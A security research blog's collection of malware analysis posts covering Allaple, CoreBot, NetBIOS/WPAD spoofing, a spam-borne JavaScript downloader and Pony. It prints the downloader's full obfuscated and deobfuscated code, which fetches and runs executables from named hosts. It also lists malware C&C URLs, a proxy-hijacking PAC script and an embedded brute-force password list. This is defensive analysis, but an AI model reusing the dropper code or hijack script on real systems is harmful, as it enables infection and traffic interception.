Upcoming Sality presentation at Botconf

Update: The presentation is available here and the paper here.

The Virus Tracker team will join Botconf’15 conference in Paris, France! We will hold a presentation about Sality. Abstract:

Sality is one of the longest-alive threats and probably the most underrated botnet ever. It made its first appearance in 2003 and is still active in 2015. There are more than 2 million active infections (as per 24 hours) and it has advanced features like a peer-to-peer botnet, a rootkit which is able to kill AVs and a nasty file infector.

The talk will cover all different variants of Sality, discuss the technical features and the evolution timeline and will give a detailed technical analysis.

Sality

Zombie malware without command & control servers

As malware needs to communicate in some ways with its operators (for getting commands, updates and sending stolen data) they typically implement a form of communication to command & control servers. Those C&Cs are either hard-coded or generated (based on some type of seed) domain names or IPs. For generated domains they implement a domain generation algorithm (DGA) which often takes the current day (or time frame, like week) as seed, though in more exotic cases it was observed that the attackers switched to taking text out of tweets as input as the time based DGA was predictable by security researchers and resulted in sinkholing and takedown operations (i.e. registering all possible domains generated in advance). Few Trojans also implement peer-to-peer (p2p) algorithms where the Trojans share commands & updates within the p2p botnet with no central C&C.

And then there is malware without any form of C&C – zombie malware. They do not take any commands, they cannot be updated, they will just do whatever they were programmed to do. There are 3 good examples of malware which does not have any command & control server:

  1. A backdoor malware (even though just a fallback of the actual malware) listening on port 8000 and piping everything there directly to the command line
  2. VBKlip, a .NET Trojan which replaces IBANs in the clipboard, intended to steal money from bank accounts
  3. Allaple, a self-spreading ddos malware developed to seek revenge against an insurance company and ISP

The interesting thing is that those viruses are “unkillable” from a central point because there is none. In order to kill the botnet every single infection would have to be cleaned up. This could lead to intricate situations where the virus is doing destructive behavior (like launching ddos attacks to pre-defined targets) and cannot be stopped even if the malware author is arrested.

Though, there are currently only few Trojans out in the wild with no C&C functionality and the simple reason to that is that most crime (whether it’s financial fraud, ad-clicks, spam, login stealing, …) require the operator to communicate with the bot (send instructions and updates of the binary & configuration, receive stolen information).

Allaple

Allaple is a worm that has no command & control server. It has the hard-coded ddos targets www.online.if.ee, www.if.ee and www.starman.ee embedded. It spreads via exploitation of a Windows network vulnerability and possibly has code for brute-forcing SMB shares. The Trojan was initially spread in early 2007 and some infections are still likely to be active.

It was reported in media in 2010, that the creator Artur Boiko (44) was convicted to 2 years 7 months jail and paying a compensation of total 6.5 million Estonian Krones (415.000 EUR) to the two companies. Reportedly he was to “seek revenge against insurance firm IF following a dispute over a rejected car accident insurance claim”.

Technical Analysis

We analyzed a bunch of different Allaple samples, with the SHA1 hashes 6E1DD56301DB2D83D2D729B1963DF1E48FBF67A5, 7826CBC58A8BC7CB0D097C05DEAE07086FCB01C9, 3804ADF83CE4E30C993FF700D0C17E869029473C, 93A05CAC0E7189AFFCEAF8BE51F367D1A097118F, DF7DCBE66373FCCCB35A39599920852209BA891C, 96527347F4403E6EAE6286A12DDC0CA445647F87 and C3FBEFE98E3431A54BD4DD2A49B91048A2DFFAD2. None of them worked under Windows 7 because they rely on the function kernel32.dll!CreateVirtualBuffer which only exists on XP.

When executed, it ICMP Echos (pings) random /16 nets and tries to exploit them. A ThreatExpert report (report not available anymore..) with a similar sample lists that it uses “MS04-012: DCOM RPC Overflow exploit – replication across TCP 135/139/445/593 (common for Blaster, Welchia, Spybot, Randex, other IRC Bots).”. It also looks like it has a password list embedded (probably for bruteforce). Read this report for additional info on its spreading capabilities.

After running 5 minutes in the VM and 30.000 ICMP packets later the running malware didn’t find any host to exploit. Additional information on the ddos functionality of Allaple is available in this report.

This is sample 96527347F4403E6EAE6286A12DDC0CA445647F87 scanning for vulnerable hosts (without any luck):

Allaple 1

Statistics generated by Wireshark:

Allaple 2

Below is text from a memory dump of the running process. You can see the ddos targets there (www.online.if.ee, www.if.ee and www.starman.ee) as well as references to SMB shares and to a list that looks like being used as a password brute-force list.

Admin.W....PC NETWORK PROGRAM 1.0..LANMAN1.0..Windows for Workgroups 3.1a..LM1.2X002..NT LM 0.12.\\*SMBSERVER\IPC$.\browser.\samr.\epmapper.\ntsvcs.\atsvc.\srvsvc.ÈO2Kp.Ó..xZG¿náˆ....@NŸ.= Î..i..>0......j(.9.±Ð.›¨.ÀOÙ.õ.... .......À......F....‚.÷.Q.è0.mt.èÎé‹....%s...%s (%s).\\%s.S$.c:\.d:\.dmhelpserver.exe.c:\temp.exe.%s (%s) %s:%s.%s (%s) NullSesss.}A6.............‹A6.........Administrator.Admin.‹A6.ýD6.öD6..C6.ìD6.èD6.ãD6.ÝD6.ÖD6.ÎD6.ÅD6.ÃD6.ÀD6.¼D6.•D6.±D6.ªD6.¢D6.™D6..D6.ˆD6..D6.xD6.rD6.kD6.fD6.bD6.\D6.XD6.QD6.JD6.CD6.?D6.9D6.4D6.*D6.!D6..D6..D6..D6..D6..D6.üC6.óC6.íC6.åC6.àC6.ÞC6.ÛC6.ÕC6.ÏC6.ÇC6.¾C6.¸C6.³C6.«C6.¥C6..C6.•C6.‘C6.‰C6.„C6.}C6.vC6.oC6.jC6.cC6.ïD6.ZC6.RC6.KC6.DC6.=C6.8C6.1C6.+C6.$C6..C6..C6..C6..C6.ýB6.õB6.ñB6.............W...www.windows.visitor.test2.password.test1.test.temp.telnet.ruler.remote.real.random.qwerty.public.private.poiuytre.passwd.pass.oracle.nopass.nobody.nick.newpass.new.network.monitor.money.manager.mail.login.internet.install.hello.guest.go.X.demo.default.debug.database.crew.computer.coffee.bin.beta.backup.backdoor.anonymous.anon.alpha.adm.access.abc123.system.sys.super.sql.shit.shadow.setup.security.secure.secret.123456789.12345678.1234567.123456.12345.1234.123.12.1.00000000.0000000.000000.00000.0000.000.00.server.asdfgh.root.irdvxc.exe .jhdgcjhasgdc09890gjasgcjhg2763876uyg3fhg.CLSID\%s.CLSID\%s\LocalServer32.{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}.<html>...<OBJECT type="application/x-oleobject"CLASSID="CLSID:%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X"></OBJECT>...%s\%s.*.*.qwertshertshjklzxcvbnjklbnjklzxcvbnmzxcvbnm.%s%s.exe.SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices. /service."%s" /service.RegisterServiceProcess.kernel32.dll.MSDisk.Network service for disk management requests.Network helper Service./service./start./installservice./uninstallservice./stop..........G6..G6..G6.$G6.6G6.....................advapi32.dll.-embedding.%sirdvxc.exe.....Global\1CKPUPP.patch:.SeDebugPrivilege.AdjustTokenPrivileges.LookupPrivilegeValueA.OpenProcessToken.%s%s.dll.\CLSID.%s\InprocServer32.;H6.GH6.QH6.^H6.gH6.sH6.~H6.ŠH6.shell32.dll.ole32.dll.oleaut32.dll.fm20.dll.thumbvw.dll.mshtml.dll.shdocvw.dll.browseui.dll.www.starman.ee.www.if.ee.www.online.if.ee.............CreateServiceA.OpenSCManagerA.OpenServiceA.ChangeServiceConfig2A.ControlService.CloseServiceHandle.DeleteService.StartServiceA.QueryServiceStatus.StartServiceCtrlDispatcherA.RegisterServiceCtrlHandlerA.SetServiceStatus.................................................ÍH6.ÜH6.ëH6.øH6..I6..I6.0I6.>I6.LI6._I6.{I6.—I6..........d.b.........cwww.online.if.ee.www.if.ee.GET / HTTP/1.1..Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*..Accept-Language: en-us..Accept-Encoding: gzip, deflate..User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)..Host: www.if.ee..Connection: Keep-Alive.........Global\2gjkgsjqgq.KERNEL32.dll....|‚ƒ.ÁÃÇÈÉÊËÌÏÑÒÓÔÕØÙÚÛÜÝÞ:;<=>?@ABCDEHPQRSTWXYÿicmp.dll.IcmpCreateFile.IcmpSendEcho.IcmpParseReplies.IcmpCloseHandle.%s...%s:%d.%s:%d.Babcdefghijklmnopqrstuvwabcdefghi

CoreBot: A closer look

A week ago our colleagues at IBM published a blog post about a new stealer named “CoreBot”. The post points out that CoreBot has a modular plugin system, is capable of stealing private information including certificates and has a DGA (domain generation algorithm) implemented. We got our hands to 4 different samples and analyzed them.

We added CoreBot to Virus Tracker by sinkholing a domain that is being generated by the DGA. 2 hours after sinkholing, we only observed 9 infections of CoreBot – with 56% (5 infections) being in the US. The IBM post indicated that the DGA might generate domains for different zones and botnets – we will do more research and update this blog post as soon as we have more results.

CoreBot 1

These are the actual infections:

CoreBot Infections

During analysis in different samples we discovered these C&C URLs (same as IBM found). At time of analysis none of them were active.

http://arijoputane.com/ldr/client.php                       (sample SHA1 40975FE97341059D319207484175EFBE89212491)
http://vincenzo-sorelli.com/ldr/client.php?family=bank

Both were registered by the same handle:

Registry Registrant ID: 
Registrant Name: Vladimir
Registrant Organization: Bars
Registrant Street: 6002 WOOD BYU   
Registrant City: Moscow
Registrant State/Province: Moscow
Registrant Postal Code: 093221
Registrant Country: RU
Registrant Phone: +790.62728977
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: drake.lampado777@gmail.com

The domains were registered on 7/24/2015 (vincenzo-sorelli.com) and 4/4/2015 (arijoputane.com), suggesting that this particular CoreBot campaign was active at least a few months until discovery. Both were pointing to IP 62.76.41.51, a server in Russia. At time of analysis this server is no longer active as web server.

A reverse lookup shows that drake.lampado777@gmail.com appears in at least 31 domains as whois registrant. Some domains date back as early as March 2014. Googling that email reveals an interesting comment at Reddit, claiming a guy behind that email hacked a user and stole 3.5 BTC (at the current exchange rate worth 808 USD):

"YEP I JUST got hacked ON CRYPTSY.com by EMAIL drake.lampado777@gmail.com HE HACKED ME changed my email and pw while I was on it and nothing I could do... Stole about 3.5BTC from me"

One domain affiliated to the same email ihave5kbtc.org, was registered 3/27/2014 and was used by a Trojan (sample SHA1 c8a7c1788b061236a6a7aa6a9be8d912d9546936) as C&C.

Technical Analysis

The sample SHA1 60A55ED53703DC7EA7DF8429DE90F0D5D0652AD5 is the actual core Trojan. After starting, it moves itself to a sub-directory of %AppData% and puts itself into a Run key into the registry for automatic startup:

CoreBot Autostart

The malware will launch a svchost.exe (and subsequent dllhost.exe) process where it will inject itself:

CoreBot Launch

CoreBot Monitored

The domain generation algorithm:

CoreBot DGA

Resources about the project source extracted:

Paths to source code:
tests\botserv_verify_tests.cpp
tests\dga_tests.cpp
tests\dns_resolver_tests.cpp
tests\inject_tests.cpp
tests\misc_tests.cpp

PDB (debug symbol database) and other paths:
C:\work\itco\core\bin\x86\Release\core.pdb      (sample SHA1 60A55ED53703DC7EA7DF8429DE90F0D5D0652AD5)
C:\work\itco\core\bin\x86\Release\dropper.pdb   (sample SHA1 40975FE97341059D319207484175EFBE89212491)
c:\work\itco\fabric\config1.dat
c:\work\itco\fabric\config1.dat.plain

File paths referring to the temp path:
C:\tmp\test.txt
C:\tmp\u1.txt
C:\tmp\u2.txt

Elements of the "core" structure:
core.interval
core.urls
core.server_sign
core.server_sign
core.url
core.safe_mode
core.dga
core.dga.key_fingerprint
core.dga.zones
core.dga.group
core.dga.domains_count
core.server_key
core.family
core.guid
core.sess_id
core.service
core.svchost
core.no_install
core.work_dir
core.create_time
core.last_start
core.run_count
core.starter_file
core.pid
core.heartbeat
core.restart_plugins
core.plugins_folder

NetBIOS: Old & known but still posing a threat

There are few good articles about NetBIOS like Is it time to get rid of NetBIOS?, NetBIOS spoofing for attacks on browser and Pwning hotel guests and still it (NetBIOS over TCP/IP) poses a threat to modern systems. NetBIOS was developed in the 80s and is strictly seen just an API, though there is NetBIOS over TCP/IP which is unfortunately still supported by modern operating systems. Today it is a really bad protocol because it lacks any security whatsoever. While there are plenty of resources discussing NetBIOS with its weaknesses available it is important to point out that yet it is still a threat today. Unfortunately even the Wifi routers in planes route NetBIOS packets.

Here is the real-life risk: 1. Hijacking your browser search requests

When you type a term in your Google Chrome bar the browser will try to first resolve the term relying on the operating system (Windows), which will first check your hosts file, then tries the DNS and then as fallback NetBIOS (see here Microsoft TCP/IP Host Name Resolution Order). You can verify this yourself, simply run Wireshark and type something (not an actual domain) into the URL bar and it enter. In this example “insurance” was tried out:

NetBIOS Test 1

Because NetBIOS over TCP/IP is so insecure, (in case of those NetBIOS broadcast requests) literally anyone on your local network can reply to the NetBIOS message and claim to resolve the queried name. They can return an IP address they control and where they run for example a web-server with an exploit pack on it, or display a website which tries social engineering (“please enter your credentials here..” or “please download this update or install this plugin”).

2. Stealing SMB shares and HTTP credentials

By imitating other host names one could use NetBIOS to steal credentials (in hash form for SMB shares) that are sent automatically. The first linked article in this post describes this pretty good.

3. Proxying your internet traffic through automatic proxy configuration mechanism

Internet Explorer and some applications that use the IE/”internet” settings by default (depending on InternetOpen() call whether INTERNET_OPEN_TYPE_PRECONFIG is supplied) are totally vulnerable to this. For automatic proxy configuration retrieval (“Web Proxy Auto-Discovery Protocol”) the operating system queries the host “WPAD” – and again, if not present through DNS, it falls back to NetBIOS – making it easy for anyone to answer through NetBIOS and resolve WPAD to their own IP address.

From the server that resolves to WPAD Windows will request http://[IP]/wpad.dat – which is essentially a text file (“PAC file”) and a simple proxy script might be this:

function FindProxyForURL(url, host)
{
  return "PROXY 10.0.0.137:8080";
}

In our local test we did verify that this actually works. It allows to directly intercept and manipulate all internet traffic (except SSL) of all applications that use the Windows proxy settings by default. This would allow for example to steal credentials, exchange executables downloaded and serve custom content (including exploits).

NetBIOS Test 2

Few people seem to realize that exactly this was abused by Flame (together with a flaw in the way Windows Update verified the certificate of updates) to spread locally by spoofing the Windows Update mechanism (see this article). “Complex” attacks like Flame but also like done by regular malware often exploits multiple vulnerabilities – each being part of the path to successful intrusion. Vulnerabilities or vulnerable protocols like this might not seem to have a huge impact because of certain restrictions (only possible locally, only if NetBIOS activated, if routed, if not resolved by DNS/LLMNGR, only allows to intercept/route traffic of applications using the default settings) – however, in the bigger picture they are all pieces to the puzzle that make an attack possible.

Technical details on NetBIOS over TCP/IP

Technical details on the Microsoft implementation is available on TechNet here and basically it says it is using ports UDP 137, 138 and TCP 139.

There is awesome code and tools available in the nbtool suite which allow to log all requests observed at the network adapter and also respond automatically to all NetBIOS requests (poison them).

How to disable NetBIOS over TCP/IP

In the “Network Connections” window right click on your network adapter and select “Properties”. Select “Internet Protocol Version 4 (TCP/IPv4)” and click on the “Properties” button, then on the “Advanced” button and then in the WINS tab select “Disable NetBIOS over TCP/IP” like in the screenshot. Make sure to do this on all network adapters.

1

Alternatively this can be done via the registry and also through command line.

Note (update 9/7/2015): Deactivating NetBIOS will disables access to SMB shares through NetBIOS host names (because it uses NetBIOS over TCP/IP to resolve the names), however, you can still access them directly by using the IP. If your local network is set up with DHCP with a LAN domain (read this article about it) you will be still able to access them using the host names as they will be resolved by the DNS resolver of your router. So if you use old SMB shares (you might want to switch to newer BitTorrent protocol based sharing clients that provide better security, stability and speed), disable NetBIOS and enable local resolution of host names via DNS.

Javascript infectors arriving via email spam

Recently we have been receiving multiple spam messages that had zip files attached with .js files inside. It tries to trick the user into opening the javascript files which would download and execute Trojans.

1

This is the contents of 00242116.doc.js which was in the zip file:

var stroke="5556515E0D0A020B240F08010D17170A01164A0B1603";function squ61() { return 'gs'; };  function squ214() { return '; } c'; };  function squ58() { return 'iro'; };  function squ142() { return 'e = '; };  function squ125() { return ' v'; };  function squ27() { return '; '; };  function squ144() { return '.writ'; };  function squ222() { return ' 1) b'; };  function squ156() { return '5000)'; };  function squ178() { return '1,0'; };  function squ223() { return 'reak;'; };  function squ197() { return '://"+'; };  function squ91() { return 'Acti'; };  function squ150() { return 'Body'; };  function squ113() { return 'ea'; };  function squ203() { return 'hp?r'; };  function squ202() { return 'nt.p'; };  function squ82() { return 'xe";'; };  function squ137() { return 'xa.'; };  function squ190() { return 'try '; };  function squ103() { return 'ystat'; };  function squ217() { return '(er)'; };  function squ184() { return '; }; '; };  function squ51() { return '; va'; };  function squ130() { return 'veXO'; };  function squ88() { return 'r x'; };  function squ81() { return '".e'; };  function squ155() { return ' > '; };  function squ224() { return ' } '; };  function squ36() { return 'i++)'; };  function squ182() { return ' (er'; };  function squ229() { return '; d'; };  function squ112() { return '(xo.r'; };  function squ67() { return 'from'; };  function squ172() { return '; '; };  function squ230() { return 'l(207'; };  function squ54() { return ' ws.E'; };  function squ200() { return '"/d'; };  function squ152() { return ' (xa.'; };  function squ38() { return ' va'; };  function squ117() { return ' == '; };  function squ92() { return 'veX'; };  function squ143() { return '1; xa'; };  function squ7() { return 'ar b'; };  function squ16() { return 'r d'; };  function squ136() { return '; '; };  function squ163() { return 'ti'; };  function squ86() { return ' = 0;'; };  function squ48() { return 't.'; };  function squ204() { return 'nd="+'; };  function squ157() { return ' {'; };  function squ90() { return 'new '; };  function squ154() { return 'ze'; };  function squ8() { return ' = "e'; };  function squ160() { return '1; x'; };  function squ141() { return 'typ'; };  function squ186() { return 'clo'; };  function squ107() { return ' = fu'; };  function squ173() { return 'tr'; };  function squ158() { return ' dn '; };  function squ29() { return '(v'; };  function squ168() { return 'sa'; };  function squ22() { return 'br".'; };  function squ179() { return '); '; };  function squ30() { return 'ar i='; };  function squ193() { return '("G'; };  function squ124() { return ') {'; };  function squ171() { return 'fn,2)'; };  function squ176() { return 'Run(f'; };  function squ98() { return 'TTP'; };  function squ12() { return 'es-eg'; };  function squ28() { return 'for '; };  function squ114() { return 'dy'; };  function squ6() { return ' v'; };  function squ165() { return ' = '; };  function squ24() { return 'it'; };  function squ57() { return 'dEnv'; };  function squ195() { return 'ht'; };  function squ105() { return 'an'; };  function squ133() { return 'ODB'; };  function squ159() { return '= '; };  function squ115() { return 'Sta'; };  function squ147() { return 'Resp'; };  function squ50() { return 'l")'; };  function squ78() { return '*1000'; };  function squ89() { return 'o = '; };  function squ167() { return ' xa.'; };  function squ2() { return 'ncti'; };  function squ194() { return 'ET","'; };  function squ212() { return '.sen'; };  function squ188() { return '(); }'; };  function squ201() { return 'ocume'; };  function squ108() { return 'nc'; };  function squ174() { return 'y { w'; };  function squ75() { return 'h.r'; };  function squ132() { return '("AD'; };  function squ192() { return 'open'; };  function squ52() { return 'r f'; };  function squ175() { return 's.'; };  function squ213() { return 'd()'; };  function squ161() { return 'a.'; };  function squ9() { return 'tqy.'; };  function squ37() { return ' {'; };  function squ153() { return 'si'; };  function squ34() { return 'ngth'; };  function squ83() { return ' v'; };  function squ59() { return 'nment'; };  function squ18() { return 'mon'; };  function squ70() { return 'de(92'; };  function squ220() { return '(dn '; };  function squ65() { return 'St'; };  function squ106() { return 'ge'; };  function squ134() { return '.Stre'; };  function squ146() { return 'xo.'; };  function squ77() { return 'm()'; };  function squ209() { return ' fa'; };  function squ131() { return 'bject'; };  function squ43() { return 'veXOb'; };  function squ23() { return 'spl'; };  function squ93() { return 'Obje'; };  function squ232() { return 'dl(6'; };  function squ198() { return 'b[i'; };  function squ49() { return 'Shel'; };  function squ116() { return 'te'; };  function squ32() { return '<b.'; };  function squ219() { return '; if '; };  function squ40() { return ' ='; };  function squ46() { return '"WSc'; };  function squ109() { return 'tion('; };  function squ191() { return '{ xo.'; };  function squ231() { return '2); '; };  function squ101() { return '.on'; };  function squ145() { return 'e('; };  function squ76() { return 'ando'; };  function squ45() { return 'ct('; };  function squ20() { return 'unes'; };  function squ17() { return 'jra'; };  function squ127() { return 'xa = '; };  function squ79() { return '00'; };  function squ196() { return 'tp'; };  var jg = '';  function squ169() { return 'veToF'; };  function squ227() { return '735'; };  function squ180() { return '} cat'; };  function squ33() { return 'le'; };  function squ42() { return ' Acti'; };  function squ100() { return 'xo'; };  function squ10() { return 'com'; };  function squ85() { return ' dn'; };  function squ99() { return '"); '; };  function squ56() { return 'an'; };  function squ128() { return 'new '; };  function squ39() { return 'r ws'; };  function squ21() { return '.com.'; };  function squ94() { return 'ct("'; };  function squ228() { return '1)'; };  function squ187() { return 'se'; };  function squ185() { return 'xa.'; };  function squ14() { return 'ers'; };  function squ11() { return ' l'; };  function squ162() { return 'posi'; };  function squ111() { return '{ if '; };  function squ199() { return ']+'; };  function squ97() { return 'XMLH'; };  function squ221() { return '=='; };  function squ215() { return 'at'; };  function squ205() { return 'fr+"&'; };  function squ73() { return 'und('; };  function squ80() { return '000)+'; };  function squ13() { return 'lanti'; };  function squ69() { return 'rCo'; };  function squ25() { return '(" '; };  function squ44() { return 'je'; };  function squ170() { return 'ile('; };  function squ211() { return ' xo'; };  function squ26() { return '")'; };  function squ126() { return 'ar '; };  function squ3() { return 'on'; };  function squ123() { return '200'; };  function squ207() { return '+st'; };  function squ71() { return ')+Ma'; };  function squ181() { return 'ch'; };  function squ41() { return ' new'; };  function squ66() { return 'ring.'; };  function squ135() { return 'am")'; };  function squ189() { return '; }; '; };  function squ149() { return 'se'; };  function squ60() { return 'Strin'; };  function squ63() { return 'MP%'; };  function squ74() { return 'Mat'; };  function squ122() { return '= '; };  function zo() { return 'e'; };  function squ47() { return 'rip'; };  function squ1() { return 'fu'; };  function squ4() { return ' dl(f'; };  function squ() { return 'val'; };  function squ183() { return ') {}'; };  function squ96() { return 'ML2.'; };  function squ210() { return 'lse);'; };  function squ64() { return '")+'; };  function squ164() { return 'on'; };  function squ84() { return 'ar'; };  function squ110() { return ') '; };  function squ19() { return 'ant'; };  function squ53() { return 'n ='; };  function squ118() { return '4 &&'; };  function squ208() { return 'roke,'; };  function squ206() { return 'id="'; };  function squ129() { return 'Acti'; };  function squ95() { return 'MSX'; };  function squ102() { return 'read'; };  function squ5() { return 'r) {'; };  function squ104() { return 'ech'; };  function squ121() { return 's ='; };  function squ120() { return 'statu'; };  function squ216() { return 'ch '; };  function squ68() { return 'Cha'; };  function squ87() { return ' va'; };  function squ233() { return '773);'; };  function squ72() { return 'th.ro'; };  function squ31() { return '0; i'; };  function squ140() { return 'xa.'; };  function squ225() { return '};'; };  function squ55() { return 'xp'; };  function squ15() { return '.f'; };  function squ119() { return ' xo.'; };  function squ218() { return ' {}'; };  function squ138() { return 'ope'; };  function squ151() { return '); if'; };  function squ139() { return 'n(); '; };  function squ177() { return 'n,'; };  function squ166() { return '0;'; };  function squ35() { return '; '; };  function squ226() { return ' dl('; };  function squ148() { return 'on'; };  function squ62() { return '("%TE'; }; for (var pqx=1; pqx<=233; pqx++) { jg += this['squ'+pqx](); } this[zo()+squ()](jg);

Luckily there is Wepawet which can analyze and simplify obfuscated javascripts. Here is the deobfuscated JS:

function dl(fr){
  var b = "etqy.com les-eglantiers.fr djramonantunes.com.br".split(" ");
  for (var i = 0; i < b.length; i ++ ){
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(
    Math.random() * 100000000) + ".exe";
    var dn = 0;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function (){
      if (xo.readyState == 4 && xo.status == 200){
        var xa = new ActiveXObject("ADODB.Stream");
        xa.open();
        xa.type = 1;
        xa.write(xo.ResponseBody);
        if (xa.size > 5000){
          dn = 1;
          xa.position = 0;
          xa.saveToFile(fn, 2);
          try {
            ws.Run(fn, 1, 0);
          }
          catch (er){
          }
          ;
        }
        ;
        xa.close();
      }
      ;
    }
    ;
    try {
      xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false
      );
      xo.send();
    }
    catch (er){
    }
    ;
    if (dn == 1)break ;
  }
}
;
dl(7351);
dl(2072);
dl(6773);

Now that one is pretty easy to read. It will try to download 3 executables from following URLs, store them to %Temp% as random file name (being made out of a random number) and execute them.

http://etqy.com/document.php?rnd=7351&stroke=5556515E0D0A020B240F08010D17170A01164A0B1603
http://les-eglantiers.fr/document.php?rnd=7351&stroke=5556515E0D0A020B240F08010D17170A01164A0B1603
http://djramonantunes.com.br/document.php?rnd=7351&stroke=5556515E0D0A020B240F08010D17170A01164A0B1603

With the rnd value being replaced by 7351, 2072 and 6773.

During analysis one file was downloaded as “5a3a4bc2.gif” with MD5 E2ADEAA3E593A1783E5051E9935D81B3 SHA1 F9748B33515DA932CA8E6065325C7A22C2508DEB, which is a Windows executable. According to a comment on Malwr by Brad Berkemier this is a ZeuS file.

The check-in to the C&C server (see below), however, reveals “CRYPTED0” at the beginning which is known to be used by the Pony Downloader malware. Interestingly it is using “Windows 98” as user agent when checking in.

POST /cgi/open.php?AjDdUMhbDVn4StxDat8vR4WEk55GO4rhJCn HTTP/1.0
Host: poolsociety.com
Accept: */*
Accept-Encoding: identity, *;q=0
Content-Length: 192
Connection: close
Content-Type: application/octet-stream
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

CRYPTED0.b..%nv..[.jm....$.v............AG.p.<l?.X5...V6.....y....+.......h*.d....7..+......C..7E..9.*.......O.....s2q.`?,....`.Y.kQ.......m[z..c._Z..g...Y& 3.....O..Q.2.........%`..B.i.(.#.mR

HTTP/1.1 200 OK
Date: Thu, 02 Jul 2015 18:44:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Connection: close
Content-Type: text/html

STATUS-IMPORT-OK

Source of the email spam

The full email header to that spam mail:

Return-path: 
Envelope-to: 1690mail1@mail04.in.easyname.com
Delivery-date: Thu, 02 Jul 2015 18:03:48 +0200
Received: from 50.97.79.218-static.reverse.softlayer.com ([50.97.79.218] helo=doit.thinkitbuilditllc.com)
	by mx.easyname.eu with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
	(Exim 4.80)
	(envelope-from )
	id 1ZAgxj-0003Tv-8z
	for info@kleissner.org; Thu, 02 Jul 2015 18:03:46 +0200
Received: from nobody by doit.thinkitbuilditllc.com with local (Exim 4.85)
	(envelope-from )
	id 1ZAgxb-0000nG-E6
	for info@kleissner.org; Thu, 02 Jul 2015 18:03:35 +0200
To: info@kleissner.org
Subject: Courier was unable to deliver the parcel, ID00242116
X-PHP-Script: fm.cyberball.1two7.com/post.php for 80.70.5.26
Date: Thu, 2 Jul 2015 18:03:35 +0200
From: "FedEx Standard Overnight" 
Reply-To: "FedEx Standard Overnight" 
Message-ID: 
X-Priority: 3
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="b1_b7c1ceb8ae8d3d20105cf2b9940a7f5b"
Content-Transfer-Encoding: 8bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - doit.thinkitbuilditllc.com
X-AntiAbuse: Original Domain - kleissner.org
X-AntiAbuse: Originator/Caller UID/GID - [99 500] / [47 12]
X-AntiAbuse: Sender Address Domain - doit.thinkitbuilditllc.com
X-Get-Message-Sender-Via: doit.thinkitbuilditllc.com: uid via acl_c_vhost_owner from authenticated_id: nobody from /only user confirmed/virtual account not confirmed
X-Source: 
X-Source-Args: /usr/local/apache/bin/httpd -k start -DSSL 
X-Source-Dir: 1two7.com:/public_html/cyberball/fm
X-ACL-Warn: X-DNSBL-JUNKEMAILFILTER
X-ACL-Warn: X-DNSBL-BARRACUDACENTRAL

You can see there clearly “X-PHP-Script: fm.cyberball.1two7.com/post.php for 80.70.5.26” – thanks to default configurations this logs the origin of the PHP script which sent the email. Directory listing is enabled for that URL, however, it does not reveal much other than the post.php and legitimate other files.

Directory Listing

Pony + Pkybot + Automated Transfer System = Banker

A couple of months ago we were analyzing a sample which was tagged as “Pkybot”. The analyzed sample was MD5 7609F372F9AFBAADA6AA330A829C90AF SHA1 F20CB7A64A4CFE4F7E41E2F983A8F34CDB5C153A, according to its compilation time stamp it was compiled on 10/17/2014 2:34 pm. Analysis turned out that it’s a Pony sample, there are 2 good analysis reports of Pony here and here.

The file imports LoadLibraryA and GetProcAddress which makes it highly suspicious (those 2 API calls are commonly imported to resolve more API functions on demand, to hide the full list of API functions being used) and simple AV heuristics usually are able to catch that immediately.

After running it for a few seconds it starts itself as “C:\Users\[Username]\AppData\Roaming\WinRAR\sysparvh.exe” and adds itself to the Run registry key under the name “SYS_UPDATE_2864E379BB0537CDE68283A” (if you google that name you will find some other reports). Then, it tries to access (all 404 at the time of analysis):

http://championi.de/Webface/templatec/g.php
http://www.galerie-geo.com/images/vm1982.jpg.exe
http://fundacionjosepgibert.org/images/photos/vm1982.jpg.exe

Even though all URLs were down and therefore the config couldn’t be downloaded, directory listing was enabled on one of the C&C URLs:

2

The admin.php shows the common Pony panel:

3

We took a memory snapshot and found these strings in memory. They contain paths for stealing passwords from different FTP programs, Email clients and Bitcoin wallets from different local Bitcoin clients.

2864E379BB0537CDE68283A.NfJ4umjndkj93m.http://championi.de/Webface/templatec/g.php..http://www.galerie-geo.com/images/vm1982.jpg.exe.http://fundacionjosepgibert.org/images/photos/vm1982.jpg.exe..YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0.......MODU..€ˆ0.P‰0.SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.UninstallString.DisplayName.\..........exe.YaýÿSoftware\WinRAR.open....€kernel32.dll.WTSGetActiveConsoleSessionId.ProcessIdToSessionId..netapi32.dll.NetApiBufferFree.NetUserEnum..ole32.dll.StgOpenStorage..advapi32.dll.AllocateAndInitializeSid.CheckTokenMembership.FreeSid.CredEnumerateA.CredFree.CryptGetUserKey.CryptExportKey.CryptDestroyKey.CryptReleaseContext.RevertToSelf.OpenProcessToken.ImpersonateLoggedOnUser.GetTokenInformation.ConvertSidToStringSidA.LogonUserA.LookupPrivilegeValueA.AdjustTokenPrivileges.CreateProcessAsUserA..crypt32.dll.CryptUnprotectData.CertOpenSystemStoreA.CertEnumCertificatesInStore.CertCloseStore.CryptAcquireCertificatePrivateKey..msi.dll.MsiGetComponentPathA..pstorec.dll.PStoreCreateInstance..userenv.dll.CreateEnvironmentBlock.DestroyEnvironmentBlock...HLuD·MuÒ..sÏY}s.HXuæ@sv.ßrv.Asv.svvì²rv(2vvê‘rv.Årv$árvb.sv.CsvzÅrv.Csv*.uvT&vvJ@svŽAsv8%vv.